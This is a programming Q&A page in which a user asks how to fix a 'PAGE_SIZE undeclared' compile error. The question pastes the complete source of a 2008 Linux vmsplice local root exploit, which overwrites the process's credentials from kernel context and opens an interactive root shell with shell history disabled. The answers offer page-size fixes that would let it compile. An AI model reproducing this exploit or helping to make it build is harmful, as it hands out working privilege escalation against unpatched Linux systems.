PAGE_SIZE未声明的C.

Question

I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language.

I would appreciate some help fixing the issues!

I get the following errors:

 error: 'PAGE_SIZE' undeclared (first use in this function) pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 

This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware)

the code is below and from https://www.exploit-db.com/exploits/5092/

   #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <limits.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/uio.h>
    #include <sys/mman.h>
//    #include <asm/page.h> 
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel 
    #define __KERNEL__
    #include <asm/page.h> //moving it here fixed location error, but now I get the new issue
    #include <asm/unistd.h>

    #define PIPE_BUFFERS    16
    #define PG_compound 14
    #define uint        unsigned int
    #define static_inline   static inline __attribute__((always_inline))
    #define STACK(x)    (x + sizeof(x) - 40)

    struct page {
        unsigned long flags;
        int count;
        int mapcount;
        unsigned long private;
        void *mapping;
        unsigned long index;
        struct { long next, prev; } lru;
    };

    void    exit_code();
    char    exit_stack[1024 * 1024];

    void    die(char *msg, int err)
    {
        printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
        fflush(stdout);
        fflush(stderr);
        exit(1);
    }

    #if defined (__i386__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   316
    #endif

    #define USER_CS     0x73
    #define USER_SS     0x7b
    #define USER_FL     0x246

    static_inline
    void    exit_kernel()
    {
        __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
    }

    static_inline
    void *  get_current()
    {
        unsigned long curr;
        __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
        );
        return (void *) curr;
    }

    #elif defined (__x86_64__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   278
    #endif

    #define USER_CS     0x23
    #define USER_SS     0x2b
    #define USER_FL     0x246

    static_inline
    void    exit_kernel()
    {
        __asm__ __volatile__ (
        "swapgs ;"
        "movq %0, 0x20(%%rsp) ;"
        "movq %1, 0x18(%%rsp) ;"
        "movq %2, 0x10(%%rsp) ;"
        "movq %3, 0x08(%%rsp) ;"
        "movq %4, 0x00(%%rsp) ;"
        "iretq"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
    }

    static_inline
    void *  get_current()
    {
        unsigned long curr;
        __asm__ __volatile__ (
        "movq %%gs:(0), %0"
        : "=r" (curr)
        );
        return (void *) curr;
    }

    #else
    #error "unsupported arch"
    #endif

    #if defined (_syscall4)
    #define __NR__vmsplice  __NR_vmsplice
    _syscall4(
        long, _vmsplice,
        int, fd,
        struct iovec *, iov,
        unsigned long, nr_segs,
        unsigned int, flags)

    #else
    #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #endif

    static uint uid, gid;

    void    kernel_code()
    {
        int i;
        uint    *p = get_current();

        for (i = 0; i < 1024-13; i++) {
            if (p[0] == uid && p[1] == uid &&
                p[2] == uid && p[3] == uid &&
                p[4] == gid && p[5] == gid &&
                p[6] == gid && p[7] == gid) {
                p[0] = p[1] = p[2] = p[3] = 0;
                p[4] = p[5] = p[6] = p[7] = 0;
                p = (uint *) ((char *)(p + 8) + sizeof(void *));
                p[0] = p[1] = p[2] = ~0;
                break;
            }
            p++;
        }   

        exit_kernel();
    }

    void    exit_code()
    {
        if (getuid() != 0)
            die("wtf", 0);

        printf("[+] root\n");
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", NULL);
        die("/bin/bash", errno);
    }

    int main(int argc, char *argv[])
    {
        int     pi[2];
        size_t      map_size;
        char *      map_addr;
        struct iovec    iov;
        struct page *   pages[5];

        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);

        printf("-----------------------------------\n");
        printf(" Linux vmsplice Local Root Exploit\n");
        printf(" By qaaz\n");
        printf("-----------------------------------\n");

        if (!uid || !gid)
            die("!@#$", 0);

        /*****/
        pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
        pages[1] = pages[0] + 1;

        map_size = PAGE_SIZE;
        map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[0]);
        printf("[+] page: 0x%lx\n", pages[1]);

        pages[0]->flags    = 1 << PG_compound;
        pages[0]->private  = (unsigned long) pages[0];
        pages[0]->count    = 1;
        pages[1]->lru.next = (long) kernel_code;

        /*****/
        pages[2] = *(void **) pages[0];
        pages[3] = pages[2] + 1;

        map_size = PAGE_SIZE;
        map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[2]);
        printf("[+] page: 0x%lx\n", pages[3]);

        pages[2]->flags    = 1 << PG_compound;
        pages[2]->private  = (unsigned long) pages[2];
        pages[2]->count    = 1;
        pages[3]->lru.next = (long) kernel_code;

        /*****/
        pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
        map_size = PAGE_SIZE;
        map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);
        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
        printf("[+] page: 0x%lx\n", pages[4]);

        /*****/
        map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
        map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (map_addr == MAP_FAILED)
            die("mmap", errno);

        memset(map_addr, 0, map_size);
        printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

        /*****/
        map_size -= 2 * PAGE_SIZE;
        if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
            die("munmap", errno);

        /*****/
        if (pipe(pi) < 0) die("pipe", errno);
        close(pi[0]);

        iov.iov_base = map_addr;
        iov.iov_len  = ULONG_MAX;

        signal(SIGPIPE, exit_code);
        _vmsplice(pi[1], &iov, 1, 0);
        die("vmsplice", errno);
        return 0;
    }

    // milw0rm.com [2008-02-09]

Answer 1

PAGE_SIZE is only declared in the kernel headers. You can get the current page size from userland using getpagesize() from unistd.h though, eg

#include <unistd.h>
int main() {
    size_t psize = getpagesize();
}

Answer 2

Using a compile-time constant for the page size of your system is typically not a smart thing to do, as it's not necessarily constant. For example, on the latest x86 CPUs, your operating system can choose between using 4 KiB, 2 MiB and even 1 GiB pages (or even combine them in the same address space). For this reason, POSIX hasn't standardized the PAGE_SIZE constant.

Many systems therefore provide a getpagesize() function, but keep in mind that the POSIX standardized way of obtaining the page size is by using the sysconf() function:

#include <stdio.h>
#include <unistd.h>
int main() {
  printf("%lu\n", sysconf(_SC_PAGESIZE));
}

On my Mac, this program prints the number 4096.

Answer 3

For me

#include <sys/user.h>

does the trick. The file is part of glibc-headers.

Answer 4

Heylo. I had similar trouble compiling the excellent memfetch tool by the veritable techie and fellow countryman Michael Zalewski. Anyway after getting sick of messing around with the problem and searches that led to no answers (like this post, for example), I solved my problem.

I took this straight from the asm/page.h file:

    /* PAGE_SHIFT determines the page size */

    #define PAGE_SHIFT      12
    #ifdef __ASSEMBLY__
    #define PAGE_SIZE       (1 << PAGE_SHIFT)
    #else
    #define PAGE_SIZE       (1UL << PAGE_SHIFT)
    #endif
    #define PAGE_MASK       (~(PAGE_SIZE-1))

And I dropped it into the C file that needed compiling. In this case, memfetch.c I dropped it in right after the includes, in with the code's own set of DEFINEs. Worked like a charm and the program - a memory mapper seems to be working great. I've just done it - can't say yet if for example the pages or mem values are off or anything.

Note - Go grab your own asm/page.h defines. Actually I think they were in asm-generic/page.h Dunno if they are diff; most certainly are on an x86_64.

Good luck!